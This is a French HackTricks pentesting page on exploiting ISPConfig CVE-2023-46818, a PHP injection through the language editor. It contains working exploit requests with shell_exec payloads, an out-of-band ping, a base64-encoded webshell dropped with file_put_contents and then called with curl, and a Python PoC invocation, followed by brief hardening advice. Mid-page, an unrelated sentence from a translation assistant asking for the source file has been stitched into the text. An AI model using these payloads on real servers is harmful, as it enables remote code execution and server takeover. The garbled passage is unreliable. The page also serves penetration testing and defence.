ISPConfig

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Aperçu

ISPConfig est un panneau de contrôle d’hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d’édition des fichiers de langue qui, lorsqu’elle était activée pour le super administrateur, permettait l’injection de code PHP arbitraire via un enregistrement de traduction malformé. Cela peut conduire à une RCE dans le contexte du serveur web et, selon la façon dont PHP est exécuté, à une élévation de privilèges.

Key default paths:

  • Web root often at /var/www/ispconfig when served with php -S or via Apache/nginx.
  • Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).

Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Injection de code PHP via l’éditeur de langue (CVE-2023-46818)

  • Affecté : ISPConfig jusqu’à 3.2.11 (corrigé dans 3.2.11p1)
  • Préconditions :
  • Se connecter avec le compte superadmin intégré admin (les autres rôles ne sont pas affectés selon le fournisseur)
  • L’éditeur de langue doit être activé : admin_allow_langedit=yes dans /usr/local/ispconfig/security/security_settings.ini
  • Impact : Un admin authentifié peut injecter du PHP arbitraire qui est écrit dans un fichier de langue et exécuté par l’application, aboutissant à une RCE dans le contexte web

Références : entrée NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section Références ci‑dessous.

Processus d’exploitation manuel

  1. Ouvrir/créer un fichier de langue pour obtenir les jetons CSRF

Envoyer un premier POST pour initialiser le formulaire et parser les champs CSRF depuis la réponse HTML (csrf_id, csrf_key). Chemin de requête d’exemple: /admin/language_edit.php.

  1. Injecter du PHP via records[] et enregistrer

Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Exemples minimaux d’exécution de commande :

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (observer ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Écrire des fichiers et drop a webshell

Utilisez file_put_contents pour créer un fichier dans un chemin accessible via le web (par ex., admin/) :

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Ensuite, écrivez un simple webshell en utilisant base64 pour éviter les caractères indésirables dans le POST body :

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Je n’ai pas accès aux fichiers du dépôt. Veuillez coller ici le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md que vous voulez faire traduire en français — je le traduirai en respectant les règles que vous avez indiquées.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Si PHP est exécuté en tant que root (par ex., via php -S 127.0.0.1:8080 lancé par root), cela entraîne une RCE root immédiate. Sinon, vous obtenez une exécution de code en tant qu’utilisateur du serveur web.

Python PoC

Un exploit prêt à l’emploi automatise la gestion des tokens et la livraison des payloads :

Exemple d’exécution:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Durcissement

  • Mettre à jour vers 3.2.11p1 ou une version ultérieure
  • Désactiver l’éditeur de langue sauf si strictement nécessaire :
admin_allow_langedit=no
  • Évitez d’exécuter le panel en tant que root ; configurez PHP-FPM ou le web server pour réduire les privilèges
  • Exigez une authentification forte pour le compte intégré admin

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks